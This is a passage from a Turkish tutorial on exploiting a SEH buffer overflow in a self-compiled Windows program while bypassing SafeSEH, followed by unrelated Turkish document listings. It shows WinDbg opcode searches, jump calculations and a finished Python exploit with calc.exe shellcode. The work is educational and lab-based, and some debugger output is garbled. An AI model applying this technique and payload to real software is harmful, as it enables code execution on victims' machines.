durum söz konusu ise, bir başka alternatif olarak addesp+8ret ikilisi de SafeSEH korumasını geçebilir demektir. Şimdi yavaşça bu korumanın atlatılması kısmına gelelim. Öncelikle yine bir önceki programdan devam edeceğiz. Fakat bu defa programı link işlemine sokarken argümanlarımız arasında /SAFESEHolacak. -:NO kaldırıyoruz- Bu sayede SafeSEH'i aktif etmiş olacağız. Şimdi biraz ne yapabiliriz konusunda konuşalım.
23 Şimdi, ilk olarak yine SEH overflow için gereken taslak python exploitimizi görelim. cokertkaarsim ="A"*528 cokertkaarsim+="bbbb" cokertkaarsim+="cccc" cokertkaarsim+="d"*400 #NextSEH #SEHandler Önceki exploitin gövdesinin ilk hali bu. Şimdi bunun üzerinden yürüyeceğiz. Bu iki alana yazmak istediğimiz instructionları bulmamız gerek. Derlediğimiz programda SafeSEH koruması açık, ayrıca diğer modullerde de açık. Bu demektir ki bu modüllerin bulunduğu adresleri kullanamayız. O halde hafızada arama yapacağız demektir. Bunu isterseniz Immunity debuggerda bulunan pvefindaddr yahut mona eklentisiyle ya da Windbg ile yapabilirsiniz. Ben Windbg kullanmayı daha eğlenceli buluyorum. Programı Windbg ile açıp crashi oluşturduktan sonra kullanabileceğimiz aramaya başlayalım. Bu yazıda ebp+30'u kullanıyoruz. Öncelikle bunun opcodeunu bulalım. 0:000>a fcalldwordptr[ebp+0x30] calldwordptr[ebp+0x30] jmpdwordptr[ebp+0x30] jmpdwordptr[ebp+0x30] 0:000>u f image x106f: fff5530 call dwordptr[ebp+30h] ff6530 jmp dwordptr[ebp+30h] Şimdi, opcode değerlerimizi bulduk, ff5530ve ff6530. Akabinde skomutunu kullanarak hafızada arama yapalım.
24 0:000>s fffffff b0b ff e-ff e.u0...w0... 0:000>u00270b0b 00270b0bff5530 call dwordptr[ebp+30h] 00270b0e0000 add byteptr[eax],al 00270b add byteptr[eax],al 00270b0b adresinde aradığımız instruction var. Bu adresin nereye ait olduğunu öğrenmek için Immunity yahut Olly debuggerda ALT+Mkısayolu ile hafızaya bakabilirsiniz. Örneğin: Ayrıca, örneğin herhangi bir uzukluktaki tüm değerleri bulmak için opcode içerisindeki 30 olmadan arama yapabilirsiniz. Yine bir örnek vermek gerekirse: 0:000>s fffffff c366 ff55ca3ac8d1356a-e20387b278f3480b.u.:..5j...x.h ff55ff61ff54ff57-ffdcff58ffccfff3.u.a.t.w...x b0b ff e-ff e.u0...w0... 0:000>u ff55ff call dwordptr[ebp-1] 0:000>u 0014c c366ff55ca call dwordptr[ebp-36h] Fakat bu diğer iki adres bizim işimizi görmüyor, aradığımız değere sahip değil. Mesela örneğin eğer burada xxxxşeklinde bir değer olsa da işimize yaramayacaktı, lakin bu bizim dosyamızın içinde demek oluyor. Yani SafeSEH aktif.
25 Devam edelim, burada karşımıza çıkacak olan tek sorun bulduğumuz adresin null byte içeriyor olması. (00) null byte değeri ayrıca string değerlerini sonlandırdığı için bu demek oluyor biz SEH üzerine yazdıktan sonra shellcodumuzu stacke yazamayacağız, çünkü strycpy()bu null byte'ı görecek ve kopyalamanın bittiğini düşünecek. Bunun üstesinden bir iki yolla gelmek mümkün. Örneğin eğer shellcodemuzu SEH'i yazmadan önce yazarsak bu sorunu geçebiliriz. Akabinde ileriye atlamak için jmp kullanmak yerine geriye atlayan bir jmp kullanabiliriz. Veyahut unicode shellcode kullanırsak bu sorunu yine aşabiliriz lakin unicode değerlerinde 00stringi sonlandırmaz, 0000sonlandırır. Şimdi klasik olarak exploiti yazmaya devam ediyoruz. Bu defa klasik SEH exploitleme işimize yaramayacağı için Next SEH üzerine breakpoint (cc), SE Handler üzerine de bulduğumuz adresi yazalım. cokertkaarsim ="A"*528 cokertkaarsim+="\xcc\xcc\xcc\xcc" #breakpoint (Nextseh) cokertkaarsim+=struct.pack('<i',0x00270b0b) #call dword ptr[ebp+30h](sehandler) cokertkaarsim+="d"*1500 #junk Tekrar çalıştırıp Windbg üzerinde durum kontrolü yapalım. 0:000>g (a80.b00):breakinstructionexception-code (first chance) eax= ebx= ecx=00270b0bedx=7c9032bcesi= edi= eip=0012fd98esp=0012f7a0ebp=0012f7c4 0012fd98cc int 3 0:000>!exchain 0012f7b8:ntdll!ExecuteHandler2+3a(7c9032bc) 0012fd98:00270b0b
26 Invalidexceptionstackatcccccccc 0:000>d0012fd fd fd fd cccccccc00270b0b 0012fda0 0b34fc ff e 0012fdb c a a0 0012fdc0 b fdd c fde e b636f00302e32 Bakın gördüğünüz üzere her şey doğru ilerliyor. Next SEH değerini ccile, SE Handler'ı da adresimiz ile yazdık. Fakat dostlar, çok dikkat etmeniz gereken bir şey var. Bizim exploitimizde 1500 adet D eklemiştik? Nerde bunlar? Bu ne lahana turşusu? Hemen Immunity Debugger ile bakalım. Bakın, dediğimiz gibi. Null byte sorunu yüzünden kopyalama durmuş durumda. Şimdi bunu cebe atalım ve unutmadan devam edelim. Şunu önce bir anlayalım, neden ebp+30? Ne var burada? Merak edilir değil mi? Bakalım hemen ne var, ne oluyor diye. 0:000>!exchain 0012f7b8:ntdll!ExecuteHandler2+3a(7c9032bc) 0012fd98:00270b0b Invalidexceptionstackatcccccccc
27 0:000>debp f7f4 0012fd980012f8a80012f b0b 0012f f6ee0012f88c0190f7b27c96f31f 0012f f f a f8b07c90e f834 7c91ae40ffffffff7c91ae3a0012f8c0 0012f844 7c96fdd c96fdbc f c f c b50 0:000>d0012fd fd98 cccccccc00270b0be28cb fda8 0012ff e003540c fdb f a0b fdc c0 0012fdd e fde8 206b636f00302e fdf8 1b1a19181f1e1d1c :000>u 0012fd fd98cc int fd99cc int fd9acc int fd9bcc int fd9c0b0b or ecx,dwordptr[ebx] 0012fd9e27 daa Sanırım anladınız. Bir nevi klasik SEH exploitinde yaptığımız şeyi yaptık. ebp+30 adresinde gördüğünüz üzre 0012fd98yani bizim Next SEH değerimiz var. Yani şimdi yapamız gereken şey Next SEH( şu an cc ile dolu) üzerine ne yazmamız gerektiğini bulmak. Fakat dediğimiz gibi, bunun için null karakter sorununu çözmemiz gerekiyor. Haydi o halde! Mantığımız basit aslında, madem ki SEH üzerine yazdıktan sonra shellcode değerimiz (şu an D harfleri) yazılmıyor, o halde önce D'leri yazalım, ardından SEH'i yazalım. Yani şuna benzer bir yapımız oluyor :
28 NOPLAR Shellcode NextSEH SEHandler Önceki mantığın biraz değişiği. Bu defa önce nop ve shellcodeu yazıyor, ardından SEH üzerine yazıyoruz. Şimdi yapmamız gereken şey ise Next SEH'den önce, yani shellcodeun hemen altına NOPların bulunduğu kısma atlayan bir jmp kodu yazmak, ardından Next SEH üstüne de bu jmp koduna atlayan bir jmp kodu yazmak. Bu sayede SE Handler üzerine yazdığımız callebp+30bizi tekrar Next SEH'e, Next SEH ise bizi noplara atlayan jmp instructionuna, bu atlama kodu da bizi haliyle shellcode'a getirecek. Yani şu şekilde olacak: NOPLAR <----- Shellcode JMPTONOP < NextSEH --< SEHandler Şimdi bu işi koda dökelim bakalım. Şimdi burada biraz kafa karışıklığı
29 yaşayabilirsiniz. Öncelikle bizim Shellcodemuzun sonunda olan jmp'a atlamak için 7 bytelık bir back jmp opcodeuna ihtiyacımız var. Bu EBF9opcodu ile bunu yapabiliyoruz. Ardından shellcodemuzun sonuna bizim en başta bulunan noplara atlamızı sağlayacak bir back jump daha yazmamız gerekiyor. Bunu bulmak için Immunity debugger kullanacağız. Şimdi, Öncelikle buraya kadarı için gereken python scriptini görelim. boyut=524 #524oldu lakinalta4bytejmpkoduekledik cokertkaarsim ="\x90"*24 cokertkaarsim+="\xcc\xcc" #Shellcode burayagelecek cokertkaarsim+="\x90"*(boyut-len(cokertkaarsim))#seh'e kadarnopekleyelim cokertkaarsim+="\xcc\xcc\xcc\xcc" #YeniJump (528-4) cokertkaarsim+="\xeb\xf9\x90\x90" #JumpBack 7Byte(NextSEH) cokertkaarsim+=struct.pack('<i',0x00270b0b) #calldword ptr[ebp+30h](sehandler) Şimdi programı Immunity debuggerda açıp exploiti çalıştırıyoruz, ardından CTRL+G ile 0012fd98adresine gidiyoruz. Burada bizim Jump back 7 byte bulunuyor, yani next seh. Ardından Buranın adresi ile, shellcodemuzun üstünde bulunan nopların adresi arasındaki farkı bulup, bunu opcodeunu oluşturuyoruz. Adreste şöyle bir şey görmeniz gerekiyor: 0012FD96 CC INT3 0012FD97 CC INT3 --->BurayaNOPlaragidenJUMP gelecek ->0012FD98 ^EBF9 JMPSHORT0012FD FD9A 90 NOP 0012FD9B 90 NOP
30 0012FD97adresi bizim exploitimizde Yeni Jump diye geçen kısım. Yani bu adresten shellcodemuzun olduğu adrese olan uzunluğu bulmalıyız. Yine Immunity aracılığıyla yukarıya doğru çıkıp shellcodemuzu buluyoruz ardından son işlemleri yapacağız. Gördüğünüz üzre bizim shellcodemuz 0012FBA0adresinde başlıyor. Bunun üzerinden bir alan seçiyorum(0012fb94) ve şimdi buraya olan uzunluğu hesaplıyoruz : 0x0012FB94-0x0012FD97=-0x203=515byteardından 0012FD98 adresine gidip, onun üzerinde bulunan yere jmp kodumu yazıyor(space) ve opcode değerini öğreniyorum. Opcode değeri E9F8FDFFFF, dikkat ederseniz bu değer 5 byte. Yani bu demektir ki boyut kısmı olan 524'ü da bir azaltıp 523 yapacağız. Şimdi son hamlemizi yapıp bulduklarımızı exploite yerleştiriyoruz ve denememizi yapıyoruz. Son kez
31 exploitimizi görelim. boyut=523 cokertkaarsim="\x90"*24 cokertkaarsim+="\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" #calc.exe shellcode cokertkaarsim+="\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" cokertkaarsim+="\x77\x20\x8b\x3f\x80\x7e\x0c\x33" cokertkaarsim+="\x75\xf2\x89\xc7\x03\x78\x3c\x8b" cokertkaarsim+="\x57\x78\x01\xc2\x8b\x7a\x20\x01" cokertkaarsim+="\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" cokertkaarsim+="\x45\x81\x3e\x43\x72\x65\x61\x75" cokertkaarsim+="\xf2\x81\x7e\x08\x6f\x63\x65\x73" cokertkaarsim+="\x75\xe9\x8b\x7a\x24\x01\xc7\x66" cokertkaarsim+="\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" cokertkaarsim+="\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" cokertkaarsim+="\xb1\xff\x53\xe2\xfd\x68\x63\x61" cokertkaarsim+="\x6c\x63\x89\xe2\x52\x52\x53\x53" cokertkaarsim+="\x53\x53\x53\x53\x52\x53\xff\xd7" cokertkaarsim+="\x90"*(boyut-len(cokertkaarsim)) cokertkaarsim+="\xe9\xf8\xfd\xff\xff" #Geriye JMP515bayt cokertkaarsim+="\xeb\xf9\x90\x90" #Geriye JMP7bayt(NextSEH) cokertkaarsim+=struct.pack('<i',0x00270b0b) #call dwordptr[ebp+30h] Ve nihayet exploiti çalıştırıyoruz ve durumu görüyoruz.
32 Gördüğünüz üzre EDI yazmacında CreateProcessAvar, stacke bakarsanız argümanlarında da calc olduğunu görebilirsiniz. Yani exploitimiz başarı ile çalıştı. Teşekkür Oldukça uzun bir yazı oldu. Faydalı olmasını umuyorum. Ayrıca tamamını okuma sabrını ve merakını gösteren herkese teşekkür ederim. Ayrıca yazıda tabii ki hatalar, yanlışlıklar olabilir, bildirimde bulunursanız böylece ben de düzeltebilmiş olurum. Sevgiler. Referanslar Compiler Security Checks - MSDN Bypassing Browser Memory Protections - Alexander Sotirov Corelan-6 The Stack Cookies Bypass on CVE Defeating the Stack Based Buffer Overflow Prevention C++ Virtual Functions Deitel&Deitel C & C++, Sayfa Posted on 23 November, 2014
Temel Bilgisayar Programlama
BÖLÜM 9: Fonksiyonlara dizi aktarma Fonksiyonlara dizi aktarmak değişken aktarmaya benzer. Örnek olarak verilen öğrenci notlarını ekrana yazan bir program kodlayalım. Fonksiyon prototipi yazılırken, dizinin
B02.8 Bölüm Değerlendirmeleri ve Özet
B02.8 Bölüm Değerlendirmeleri ve Özet 57 Yrd. Doç. Dr. Yakup EMÜL, Bilgisayar Programlama Ders Notları (B02) Şimdiye kadar C programlama dilinin, verileri ekrana yazdırma, kullanıcıdan verileri alma, işlemler
K12NET Eğitim Yönetim Sistemi
TEOG SINAVLARININ DEĞERLENDİRİLMESİ Yeni sınav sistemi TEOG, yani Temel Eğitimden Orta Öğretime Geçiş Sınavlarında öğrenciler, 6 dersten sınav olacaktır. Öğrencilere Türkçe, Matematik, T.C. İnkılap Tarihi
Uzem Eğitmen Girişi. Şekil 1. Sisteme girdikten sonra Şekil 2 deki ekran karşımıza çıkacak. Bu ekrandaki adımları kısaca tanıyalım.
Uzem Eğitmen Girişi Sisteme eğitmen olarak giriş yapabilmek için http://uzem.uskudar.edu.tr adresini internet tarayıcımızın adres satırına yazdıktan sonra Şekil 1 deki ekranda ilgili alanlara kullanıcı
HUZURSOFT GÖRÜŞME TAKİP PROGRAMI
HUZURSOFT GÖRÜŞME TAKİP PROGRAMI 1.YENİ MÜŞTERİ EKLE Müşteri bilgilerini bu bölümde gireriz. Müşterilerinizi gruplamak isterseniz sağ tarafta bulunan butona tıklayarak açılan pencere grup ekle diyerek
Digifresh Kullanım Kılavuzu
DigiFresh programını çalıştırmadan önce bilgisayarınıza Net Framework kütüphanesinin yüklü olması gerekmektedir. Aşağıdaki linkten indirelebilir. http://www.microsoft.com/tr-tr/download/confirmation.aspx?id=17851
BQTEK SMS Asistan. Kullanım Kılavuzu. Doküman Versiyon: 1.0 09.05.2016 BQTEK
Kullanım Kılavuzu Doküman Versiyon: 1.0 09.05.2016 BQTEK İçindekiler İçindekiler... 2 Genel Bilgi... 3 Uygulamanın İndirilmesi... 3 iphone için... 3 Android için... 3 Windows ve Mac için... 3 Uygulamanın
Topoloji değişik ağ teknolojilerinin yapısını ve çalışma şekillerini anlamada başlangıç noktasıdır.
Yazıyı PDF Yapan : Seyhan Tekelioğlu [email protected] http://www.seyhan.biz Topolojiler Her bilgisayar ağı verinin sistemler arasında gelip gitmesini sağlayacak bir yola ihtiyaç duyar. Aradaki bu yol
TEKNOLOJİ VE TASARIM
TEKNOLOJİ VE TASARIM YAPIM KUŞAĞI SINIFLAR ODAK NOKTALARI 7. SINIF Üretiyoruz 8. SINIF Üretelim Tanıtalım Öğrencinin: Adı Soyadı: Aslı KARTAL Sınıf, No: 7/C, 2729 Yahya KARAKURT Teknoloji ve Tasarım Öğretmeni
Genel bilgiler Windows gezgini Kes Kopyala Yapıştır komutları. 4 Bilinen Dosya Uzantıları
İÇERİK 2 Dosya ve Klasör İşlemleri 3 Giriş BİLGİ TEKNOLOJİLERİ VE UYGULAMALARI Windows 7 - Devam ÖĞR. GÖR. HASAN ALİ AKYÜREK http://www.hasanakyurek.com Sürümler Sürüm Karşılaştırmaları Masaüstü Görev
Com Donatı v5 Kurulum ve Hata Çözümleri İçindekiler
Com Donatı v5 Kurulum ve Hata Çözümleri İçindekiler Com Donatı Kurulum İşlemleri Hasp Driver Kurulumu Hasp Hatası Alıyorum - Unable to Access Sentinel Hasp Run-Time Environment (H0033) - Feature Not Found
ANALOG LABORATUARI İÇİN BAZI GEREKLİ BİLGİLER
ANALOG LABORATUARI İÇİN BAZI GEREKLİ BİLGİLER Şekil-1: BREADBOARD Yukarıda, deneylerde kullandığımız breadboard un şekli görünmektedir. Bu board üzerinde harflerle isimlendirilen satırlar ve numaralarla
İçinde x, y, z gibi değişkenler geçen önermelere açık önerme denir.
2. Niceleme Mantığı (Yüklemler Mantığı) Önermeler mantığı önermeleri nitelik yönünden ele aldığı için önermelerin niceliğini göstermede yetersizdir. Örneğin, "Bazı hayvanlar dört ayaklıdır." ve "Bütün
Tasarım Raporu. Grup İsmi. Yasemin ÇALIK, Fatih KAÇAK. Kısa Özet
Tasarım Raporu Grup İsmi Yasemin ÇALIK, Fatih KAÇAK Kısa Özet Tasarım raporumuzda öncelikle amacımızı belirledik. Otomasyonumuzun ana taslağını nasıl oluşturduğumuzu ve bu süreçte neler yaptığımıza karar
DOKÜMAN YÖNETİM SİSTEMİ KULLANIMI GELEN EVRAK
DOKÜMAN YÖNETİM SİSTEMİ KULLANIMI GELEN EVRAK 1. DYS (Doküman Yönetim Sistemi) nin kullanımı için 3. parti bir programa ihtiyaç yoktur. Tamamen WEB tabanlı çalışmaktadır. 2. Sisteme http://dys.akdeniz.edu.tr
Akademik Personel ve Lisansüstü Eğitimi Giriş Sınavı. ALES / Đlkbahar / Sayısal II / 22 Nisan 2007. Matematik Soruları ve Çözümleri
Akademik Personel ve Lisansüstü Eğitimi Giriş Sınavı ALES / Đlkbahar / Sayısal II / Nisan 007 Matematik Soruları ve Çözümleri 1. 3,15 sayısının aşağıdaki sayılardan hangisiyle çarpımının sonucu bir tam
MICROCHIP USB 2.0 PIC PROGRAMLAYICI
MICROCHIP USB 2.0 PIC PROGRAMLAYICI PIC programlama hiç bu kadar kolay olmamıştı. Yeni nesil USB Programlayıcı ile PIC'lerinizi birkaç adımda kolayca programlayın. İleriki sayfalarda programlayıcınızı
İşletme Gelişimi Atölye Soruları
İşletme Gelişimi Atölye Soruları Şemsettin Akçay Satış Pazarlama ve İnovasyon Mühendisi İşletmenizi Başarıya Götüren 50 Soru! Bir gün küçük kızımız Lara (o zaman 3.5 yaşındaydı): Baba deniz gölgesi nedir,
BİT ini Kullanarak Bilgiye Ulaşma ve Biçimlendirme (web tarayıcıları, eklentiler, arama motorları, ansiklopediler, çevrimiçi kütüphaneler ve sanal
BİT ini Kullanarak Bilgiye Ulaşma ve Biçimlendirme (web tarayıcıları, eklentiler, arama motorları, ansiklopediler, çevrimiçi kütüphaneler ve sanal müzeler vb.) Bilgi ve iletişim teknolojileri, bilgiye
Fizik I (Fizik ve Ölçme) - Ders sorumlusu: Yrd.Doç.Dr.Hilmi Ku çu
Fizik I (Fizik ve Ölçme) - Ders sorumlusu: Yrd.Doç.Dr.Hilmi Ku çu Bu bölümde; Fizik ve Fizi in Yöntemleri, Fiziksel Nicelikler, Standartlar ve Birimler, Uluslararas Birim Sistemi (SI), Uzunluk, Kütle ve
Sketch Up. www.emrahyumuk.com - Bilgisayar Dersleri 1. 3 Boyutlu Çizimler ve Google
3 Boyutlu Çizimler ve Google Sketch Up Sizde kendi evinizi Google Earth ün içinde gördüğümüz 3 boyutlu yapılar gibi yapıp Google Earth'e yüklemek ister misiniz? O zaman Google SketchUp ı öğrenin. 3 boyutlu
BBY 310 BİLGİ SİSTEMLERİ TASARIMI TASARIM PLANI ÖDEVİ [HİLAL ŞEKER& GÜLÜMCAN KAYI]
BBY 310 BİLGİ SİSTEMLERİ TASARIMI TASARIM PLANI ÖDEVİ [HİLAL ŞEKER& GÜLÜMCAN KAYI] Türk Kütüphaneciler Derneği (TKD) resmi web sitesinin (http://www.kutuphaneci.org.tr) bilgi mimarisi açısından daha önce
DIGIAC 2000 Deney Seti PAT 80286 İŞLEMCİ KARTI :
DIGIAC 2000 Deney Seti Deney kitinde üç kart vardır. Bunların dışında program yazmayı sağlayacak ve deney kartı ile haberleşmeyi sağlayacak bir bilgisayar (PC) vardır. Bilgisayar üzerinde ayrıca asembler
Firmadaki Mevcut Öğrenme Faaliyetleri 2.2. Aşama
DE/11/LLP-LDV/TOI 147 420 Firmadaki Mevcut Öğrenme Faaliyetleri 2.2. Aşama 1. Adınız: 2. İşletmenin Adı: 3. Tarih: Evet Hayır Bilmiyorum 1. Mevcut işinizde mesleki eğitim fırsatlarına erişebiliyor musunuz?
ETKİLEŞİMLİ TAHTA KORUMA SİSTEMİ KURULUM
1. Sistem 3 bileşenden oluşur a. Sunucu b. Koruma yazılımı c. Mobil anahtar ETKİLEŞİMLİ TAHTA KORUMA SİSTEMİ KURULUM Sunucu yazılımı: sunucu yazılımı öncelikle yerel ağda et (etkileşimli tahtaların) bağlı
BİR SAYININ ÖZÜ VE DÖRT İŞLEM
ÖZEL EGE LİSESİ BİR SAYININ ÖZÜ VE DÖRT İŞLEM HAZIRLAYAN ÖĞRENCİ: Sıla Avar DANIŞMAN ÖĞRETMEN: Gizem Günel İZMİR 2012 İÇİNDEKİLER 1. PROJENİN AMACI.. 3 2. GİRİŞ... 3 3. YÖNTEM. 3 4. ÖN BİLGİLER... 3 5.
PROJE TEKLİF FORMU. Haydi birlikte harika bir iş çıkartalım.
Projeniz için atezer i seçtiğiniz için teşekkür ederiz. Lütfen bu formun içerisinde projenizle ilgili olan kısımları doldurun, bu projenizi daha iyi anlamamıza yardımcı olacaktır. İyi sonuçlar elde etmek
Bilgisayar Uygulamaları PSİ105
Bilgisayar Uygulamaları PSİ105 Yrd.Doç.Dr. Serdar YILMAZ Kaynak: Marmara Üniversitesi Teknik Eğitim Fakültesi Bilgisayar Kursu Ders Notları, Kasım 2007 1 2 3 4 5 6 7 8 9 10 11 12 Başlat Düğmesi Bilgisayarınızı
DİKKAT! SORU KİTAPÇIĞINIZIN TÜRÜNÜ "A" OLARAK CEVAP KÂĞIDINA İŞARETLEMEYİ UNUTMAYINIZ. SAYISAL BÖLÜM SAYISAL-2 TESTİ
ALES İlkbahar 007 SAY DİKKAT! SORU KİTAPÇIĞINIZIN TÜRÜNÜ "A" OLARAK CEVAP KÂĞIDINA İŞARETLEMEYİ UNUTMAYINIZ. SAYISAL BÖLÜM SAYISAL- TESTİ Sınavın bu testinden alacağınız standart puan, Sayısal Ağırlıklı
OFİS 365 ÖĞRENCİ MAİL SİSTEMİ KULLANIM KLAVUZU. Office 365
OFİS 365 ÖĞRENCİ MAİL SİSTEMİ KULLANIM KLAVUZU Office 365 Microsoft Office (Word, Excel vb.) dokümanlarınızı bulut platformuna taşımanızı sağlayan Office 365 ürününe https://portal.office.com/home adresinden
OPERATÖRLER BÖLÜM 4. 4.1 Giriş. 4.2. Aritmetik Operatörler
BÖLÜM 4. OPERATÖRLER 4.1 Giriş Turbo Pascal programlama dilinde de diğer programlama dillerinde olduğu gibi operatörler, yapılan işlem türüne göre aritmetik, mantıksal ve karşılaştırma operatörleri olmak
İTÜ GELİŞTİRME VAKFI ÖZEL Dr. NATUK BİRKAN İLKOKULU VE ORTAOKULU. OkulNET Kullanım Kılavuzu
İTÜ GELİŞTİRME VAKFI ÖZEL Dr. NATUK BİRKAN İLKOKULU VE ORTAOKULU OkulNET Kullanım Kılavuzu EKİM 2012 1 İçindekiler GİRİŞ...3 ANASAYFA...3 EĞİTİM...4 SINAVLAR...6 ŞUBEM...9 KİŞİSEL BİLGİLER...10 AJANDA...10
ve Menüleri Özelleştirmek, Sistem Ayarlarını Değiştirmek
Masaüstünü ve Menüleri Özelleştirmek ve Sistem Ayarlarnıı Değiştirmek 36 4 Masaüstünü ve Menüleri Özelleştirmek, Sistem Ayarlarını Değiştirmek Bu bölümde Görev Çubuğu Özelliklerini kullanarak, Görev Çubuğu
ENF - 102 TEMEL BİLGİSAYAR BİLİMLERİ. 2014 2015 Eğitim/Öğretim Yılı Bahar Dönemi DÖNEM SONU LAB. ÖDEV TESLİM DUYURUSU
ENF - 102 TEMEL BİLGİSAYAR BİLİMLERİ 2014 2015 Eğitim/Öğretim Yılı Bahar Dönemi DÖNEM SONU LAB. ÖDEV TESLİM DUYURUSU İÇİNDEKİLER 1. Ön Bilgi... 1 2. Çalışmaları Kimler Teslim Edecekler?... 1 3. Çalışmalar
ÖĞRENME FAALĠYETĠ 6 ÖĞRENME FAALĠYETĠ 6. 6. NESNE ĠġLEMLERĠ
ÖĞRENME FAALĠYETĠ 6 AMAÇ ÖĞRENME FAALĠYETĠ 6 Bu faaliyette verilen bilgiler ile belgeye uygun nesne iģlemlerini (Ģekil, resim, grafik, metin kutusu vb.) planlı ve hatasız yapabileceksiniz. ARAġTIRMA Kelime
Öncelikle Markamıza göstermiş olduğunuz ilgiden dolayı teşekkür ederiz.
Sayın Prefix İş Ortağımız, Öncelikle Markamıza göstermiş olduğunuz ilgiden dolayı teşekkür ederiz. İşletmenize daha fazla kazanç sağlayabilmek, daha kaliteli ve daha süratli hizmet verebilmek için, mevcut
14.74- Kalkınma Politikasının Temelleri
MIT OpenCourseWare http://ocw.mit.edu 14.74- Kalkınma Politikasının Temelleri Bahar 2009 Ders materyallerini alıntılamak için bilgi almak ya da Kullanım Koşulları nı öğrenmek için lütfen aşağıdaki siteyi
ÖĞRENME FAALĠYETĠ 7. 7. GELĠġMĠġ ÖZELLĠKLER
ÖĞRENME FAALĠYETĠ 7 AMAÇ ÖĞRENME FAALĠYETĠ 7 Bu faaliyette verilen bilgiler ile hazırlamıģ olduğunuz belgeye uygun baģvuruları (Ġçindekiler Tablosu, Dipnot/sonnot, Ģekil tablosu, resim yazısı vb.) hatasız
KAPSAMLI İÇERİK SADELEŞTİRİLMİŞ ARAMA MOTORU YENİLİKÇİ BİLGİ İŞLEME TEKNOLOJİSİ PRATİK GÖRÜNTÜLEME ARAÇLARI MOBİL ERİŞİM
BAŞLANGIÇ REHBERİ KAPSAMLI İÇERİK SADELEŞTİRİLMİŞ ARAMA MOTORU YENİLİKÇİ BİLGİ İŞLEME TEKNOLOJİSİ PRATİK GÖRÜNTÜLEME ARAÇLARI MOBİL ERİŞİM LEXPERA Yeni Nesil Hukuk Bilgi Sistemi, hukuki araştırmalarınızı
VSG 1200_v2 Kurulum ve Kullanım Kılavuzu
VSG 1200_v2 Kurulum ve Kullanım Kılavuzu 1 Kurulum Seçenekleri Aşağıdaki kısım farklı kurulum seçeneklerini tanımlamktadır. Not: Kurulum sırasında kurulum deliklerini kapatmayınız ve VSG nin ön ve arka
BÖLÜM 7 BİLGİSAYAR UYGULAMALARI - 1
1 BÖLÜM 7 BİLGİSAYAR UYGULAMALARI - 1 Belli bir özelliğe yönelik yapılandırılmış gözlemlerle elde edilen ölçme sonuçları üzerinde bir çok istatistiksel işlem yapılabilmektedir. Bu işlemlerin bir kısmı
M i m e d 2 0 1 0 ö ğ r e n c i p r o j e l e r i y a r ı ş m a s ı soru ve cevapları
M i m e d 2 0 1 0 ö ğ r e n c i p r o j e l e r i y a r ı ş m a s ı soru ve cevapları S1: Erasmus kapsamında yapılan projelerle yarışamaya katılınabilir mi? C1: Erasmus kapsamında gidilen yurtdışı üniversitelerdeki
DERS 11 PIC 16F84 ile ALT PROGRAMLARIN ve ÇEVRİM TABLOLARININ KULLANIMI İÇERİK. Alt Program Çevrim Tabloları Program Sayıcı ( Program Counter PC )
DERS 11 PIC 16F84 ile ALT PROGRAMLARIN ve ÇEVRİM TABLOLARININ KULLANIMI İÇERİK Alt Program Çevrim Tabloları Program Sayıcı ( Program Counter PC ) Ders 9, Slayt 2 1 ALT PROGRAM Bir program içerisinde sıkça
SİRKÜLER İstanbul, 01.02.2016 Sayı: 2016/01. Konu: E-DEFTER GÖRÜNTÜLEYİCİ PROGRAMI İLE SÖZ KONUSU PROGRAMA İLİŞKİN KULLANIM KILAVUZU YAYINLANMIŞTIR
SİRKÜLER İstanbul, 01.02.2016 Sayı: 2016/01 Konu: E-DEFTER GÖRÜNTÜLEYİCİ PROGRAMI İLE SÖZ KONUSU PROGRAMA İLİŞKİN KULLANIM KILAVUZU YAYINLANMIŞTIR Gelir İdaresi Başkanlığı nın www.edefter.gov.tr internet
MY16 Bulut PBX Benimseme Teklifi Hüküm ve Koşulları
1 Şubat 2016 tarihinde düzenlendi Sayfa 1 / 5 Bu belgede MY16 Bulut PBX Benimseme Teklifi'nin ("Teklif"), hem Microsoft Corporation ( Microsoft ) hem de katılımcı müşteri ( Müşteri ) için uygunluk gereksinimleri
5510 sayılı SGK kanunu hakkında duyurular
23/11/2008 Aylık prim ve hizmet belgesi 23 Kasım 2008 tarihli ve 27063 sayılı resmi gazete tebliğinde Aylık Prim Ve Hizmet Belgesinin güncel formatı yayınlanmıştır. Bu yönde personel paketinde de 4.0.13
BAŞLARKEN Okul öncesi yıllar çocukların örgün eğitime başlamadan önce çok sayıda bilgi, beceri ve tutum kazandığı, hayata hazırlandığı kritik bir dönemdir. Bu yıllarda kazanılan bilgi, beceri ve tutumlar
MAKÜ YAZ OKULU YARDIM DOKÜMANI 1. Yaz Okulu Ön Hazırlık İşlemleri (Yaz Dönemi Oidb tarafından aktifleştirildikten sonra) Son aktif ders kodlarının
MAKÜ YAZ OKULU YARDIM DOKÜMANI 1. Yaz Okulu Ön Hazırlık İşlemleri (Yaz Dönemi Oidb tarafından aktifleştirildikten sonra) Son aktif ders kodlarının bağlantıları kontrol edilir. Güz ve Bahar dönemindeki
https://intvd.gib.gov.tr/internetvd/html/excelgondermehakkinda_tevkifatlifatura_tr.h...
Page 1 of 7 Tevkifatlı Satış Faturası listesinin excel dosyası olarak oluşturulması için gerekli açıklamalar Oluşturulan excel dosyasının yüklenmesinde karşılaşılan sorunların çözümü (Teknik açıklamalar)
TEŞEKKÜR Bizler anne ve babalarımıza, bize her zaman yardım eden matematik öğretmenimiz Zeliha Çetinel e, sınıf öğretmenimiz Zuhal Tek e, arkadaşımız
1 2 TEŞEKKÜR Bizler anne ve babalarımıza, bize her zaman yardım eden matematik öğretmenimiz Zeliha Çetinel e, sınıf öğretmenimiz Zuhal Tek e, arkadaşımız Tunç Tort a ve kütüphane sorumlusu Tansu Hanım
Kukla Değişkenlerle Bağlanım
Kukla Değişkenlerle Bağlanım Kukla Değişken Kullanım Şekilleri Ekonometri 1 Konu 29 Sürüm 2,0 (Ekim 2011) UADMK Açık Lisans Bilgisi İşbu belge, Creative Commons Attribution-Non-Commercial ShareAlike 3.0
ÖZEL SAMANYOLU LİSELERİ
ÖZEL SMNYOLU LİSELERİ 4. İLKÖĞRETİM MTEMTİK YRIŞMSI 2008 / MRT KİTPÇIĞI BİRİNCİ BÖLÜM Çoktan seçmeli 30 Test sorusundan oluşan ün süresi 90 dakikadır. Bu bölümün bitiminde kısa bir ara verilecektir. Elinizdeki
